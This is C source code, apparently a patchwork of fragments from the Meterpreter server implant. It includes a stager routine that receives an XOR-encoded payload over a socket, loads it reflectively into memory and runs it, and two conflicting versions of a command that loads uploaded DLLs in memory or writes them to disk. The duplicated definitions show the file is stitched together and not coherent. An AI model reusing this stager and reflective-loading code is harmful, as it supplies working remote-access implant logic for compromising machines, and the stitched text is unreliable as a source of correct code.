/*!
 * @brief Load any stageless extensions that might be present in the current payload.
 * @param remote Pointer to the remote instance.
 * @param fd The socket descriptor passed to metsrv during intialisation.
 */
VOID load_stageless_extensions(Remote* remote, MetsrvExtension* stagelessExtensions)
{
	while (stagelessExtensions->size > 0)
	{
		dprintf("[SERVER] Extension located at 0x%p: %u bytes", stagelessExtensions->dll, stagelessExtensions->size);
		HMODULE hLibrary = LoadLibraryR(stagelessExtensions->dll, stagelessExtensions->size);
		load_extension(hLibrary, TRUE, remote, NULL, extensionCommands);
		stagelessExtensions = (MetsrvExtension*)((LPBYTE)stagelessExtensions->dll + stagelessExtensions->size);
	}

	dprintf("[SERVER] All stageless extensions loaded");

	// once we have reached the end, we may have extension initializers
	LPBYTE initData = (LPBYTE)(&stagelessExtensions->size) + sizeof(stagelessExtensions->size);

	while (initData != NULL && *initData != '\0')
	{
		const char* extensionName = (const char*)initData;
		LPBYTE data = initData + strlen(extensionName) + 1 + sizeof(DWORD);
		DWORD dataSize = *(DWORD*)(data - sizeof(DWORD));
		dprintf("[STAGELESS] init data at %p, name %s, size is %d", extensionName, extensionName, dataSize);
		stagelessinit_extension(extensionName, data, dataSize);
		initData = data + dataSize;
	}

	dprintf("[SERVER] All stageless extensions initialised");
}
DWORD WINAPI handleclient(LPVOID clientsocket){
	int response = 0;
	int total = 0;
	char *payload;
	char recvbuf[1024];
	DWORD payloadlength = 0;
	HMODULE loadedfile = NULL;

	if(initwsa() != 0){
		exit(0);
	}

	response = recv((int)clientsocket, (char *)&payloadlength, sizeof(DWORD), 0);

	payload = (char *)malloc(payloadlength);
	memset(payload,0,payloadlength);
	memset(recvbuf,0,1024);

	do{
		response = recv((int)clientsocket, recvbuf, 1024, 0);
		if(USEXOR){
			xor(&recvbuf[0],response);
		}
		memcpy(payload,recvbuf,response);
		payload += response;
		total += response;
		payloadlength -= response;
		
	}while(payloadlength > 0);
	payload -= total;
	loadedfile = LoadLibraryR(payload,total);
	meterpreterstart = (MyInit) GetProcAddressR(loadedfile,"Init");
	meterpreterstart((int)clientsocket);
	
	free(payload);
}
/*
 * core_loadlib
 * ------------
 *
 * Load a library into the address space of the executing process.
 *
 * TLVs:
 *
 * req: TLV_TYPE_LIBRARY_PATH -- The path of the library to load.
 * req: TLV_TYPE_FLAGS        -- Library loading flags.
 * opt: TLV_TYPE_TARGET_PATH  -- The contents of the library if uploading.
 * opt: TLV_TYPE_DATA         -- The contents of the library if uploading.
 *
 * TODO:
 *
 *   - Implement in-memory library loading
 */
DWORD request_core_loadlib(Remote *pRemote, Packet *pPacket)
{
	Packet *response = packet_create_response(pPacket);
	DWORD res = ERROR_SUCCESS;
	HMODULE library;
	PCHAR libraryPath;
	DWORD flags = 0;
	BOOL bLibLoadedReflectivly = FALSE;

	Command *first = extensionCommands;

	do
	{
		libraryPath = packet_get_tlv_value_string(pPacket, TLV_TYPE_LIBRARY_PATH);
		flags = packet_get_tlv_value_uint(pPacket, TLV_TYPE_FLAGS);

		// Invalid library path?
		if (!libraryPath)
		{
			res = ERROR_INVALID_PARAMETER;
			break;
		}

		// If the lib does not exist locally, but is being uploaded...
		if (!(flags & LOAD_LIBRARY_FLAG_LOCAL))
		{
			PCHAR targetPath;
			Tlv dataTlv;

			// Get the library's file contents
			if ((packet_get_tlv(pPacket, TLV_TYPE_DATA,
				&dataTlv) != ERROR_SUCCESS) ||
				(!(targetPath = packet_get_tlv_value_string(pPacket,
				TLV_TYPE_TARGET_PATH))))
			{
				res = ERROR_INVALID_PARAMETER;
				break;
			}

			// If the library is not to be stored on disk, 
			if (!(flags & LOAD_LIBRARY_FLAG_ON_DISK))
			{
				// try to load the library via its reflective loader...
				library = LoadLibraryR(dataTlv.buffer, dataTlv.header.length);
				if (library == NULL)
				{
					// if that fails, presumably besause the library doesn't support
					// reflective injection, we default to using libloader...
					library = libloader_load_library(targetPath,
						dataTlv.buffer, dataTlv.header.length);
				}
				else
				{
					bLibLoadedReflectivly = TRUE;
				}

				res = (library) ? ERROR_SUCCESS : ERROR_NOT_FOUND;
			}
			else
			{
				// Otherwise, save the library buffer to disk
				res = buffer_to_file(targetPath, dataTlv.buffer,
					dataTlv.header.length);
			}

			// Override the library path
			libraryPath = targetPath;
		}

		// If a previous operation failed, break out.
		if (res != ERROR_SUCCESS)
		{
			break;
		}

		// Load the library
		if (!library && !(library = LoadLibraryA(libraryPath)))
		{
			res = GetLastError();
		}

		// If this library is supposed to be an extension library, try to
		// call its Init routine
		if ((flags & LOAD_LIBRARY_FLAG_EXTENSION) && library)
		{
			res = load_extension(library, bLibLoadedReflectivly, pRemote, response, first);
		}

	} while (0);

	if (response)
	{
		packet_transmit_response(res, pRemote, response);
	}

	return res;
}
DWORD request_core_loadlib(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	DWORD res = ERROR_SUCCESS;
	HMODULE library;
	PCHAR libraryPath;
	DWORD flags = 0;
	BOOL bLibLoadedReflectivly = FALSE;

	Command *first = extensionCommands;
	Command *command;

	do
	{
		libraryPath = packet_get_tlv_value_string(packet, TLV_TYPE_LIBRARY_PATH);
		flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);

		// Invalid library path?
		if (!libraryPath)
		{
			res = ERROR_INVALID_PARAMETER;
			break;
		}

		// If the lib does not exist locally, but is being uploaded...
		if (!(flags & LOAD_LIBRARY_FLAG_LOCAL))
		{
			PCHAR targetPath;
			Tlv dataTlv;

			// Get the library's file contents
			if ((packet_get_tlv(packet, TLV_TYPE_DATA,
				&dataTlv) != ERROR_SUCCESS) ||
				(!(targetPath = packet_get_tlv_value_string(packet,
				TLV_TYPE_TARGET_PATH))))
			{
				res = ERROR_INVALID_PARAMETER;
				break;
			}

			// If the library is not to be stored on disk, 
			if (!(flags & LOAD_LIBRARY_FLAG_ON_DISK))
			{
				// try to load the library via its reflective loader...
				library = LoadLibraryR(dataTlv.buffer, dataTlv.header.length);
				if (library == NULL)
				{
					// if that fails, presumably besause the library doesn't support
					// reflective injection, we default to using libloader...
					library = libloader_load_library(targetPath,
						dataTlv.buffer, dataTlv.header.length);
				}
				else
				{
					bLibLoadedReflectivly = TRUE;
				}

				res = (library) ? ERROR_SUCCESS : ERROR_NOT_FOUND;
			}
			else
			{
				// Otherwise, save the library buffer to disk
				res = buffer_to_file(targetPath, dataTlv.buffer,
					dataTlv.header.length);
			}

			// Override the library path
			libraryPath = targetPath;
		}

		// If a previous operation failed, break out.
		if (res != ERROR_SUCCESS)
			break;

		// Load the library
		if ((!library) && (!(library = LoadLibrary(libraryPath))))
			res = GetLastError();
		else
			res = ERROR_SUCCESS;

		// If this library is supposed to be an extension library, try to
		// call its Init routine
		if ((flags & LOAD_LIBRARY_FLAG_EXTENSION) && (library))
		{
			EXTENSION * extension = (EXTENSION *)malloc(sizeof(EXTENSION));
			if (extension)
			{
				extension->library = library;

				// if the library was loaded via its reflective loader we must use GetProcAddressR()
				if (bLibLoadedReflectivly)
				{
					extension->init = (PSRVINIT)GetProcAddressR(extension->library, "InitServerExtension");
					extension->deinit = (PSRVDEINIT)GetProcAddressR(extension->library, "DeinitServerExtension");
				}
				else
				{
					extension->init = (PSRVINIT)GetProcAddress(extension->library, "InitServerExtension");
					extension->deinit = (PSRVDEINIT)GetProcAddress(extension->library, "DeinitServerExtension");
				}

				// patch in the metsrv.dll's HMODULE handle, used by the server extensions for delay loading
				// functions from the metsrv.dll library. We need to do it this way as LoadLibrary/GetProcAddress
				// wont work if we have used Reflective DLL Injection as metsrv.dll will be 'invisible' to these functions.
				remote->hMetSrv = hAppInstance;

				// Call the init routine in the library
				if (extension->init)
				{
					dprintf("[SERVER] Calling init()...");

					res = extension->init(remote);

					if (res == ERROR_SUCCESS)
					{
						list_push(extension_list, extension);
					}
					else
					{
						free(extension);
					}
				}
				dprintf("[SERVER] Called init()...");
				if (response)
				{
					for (command = extensionCommands; command != first; command = command->next)
					{
						packet_add_tlv_string(response, TLV_TYPE_METHOD, command->method);
					}
				}
			}
		}

	} while (0);

	if (response)
	{
		packet_add_tlv_uint(response, TLV_TYPE_RESULT, res);
		packet_transmit(remote, response, NULL);
	}

	return res;
}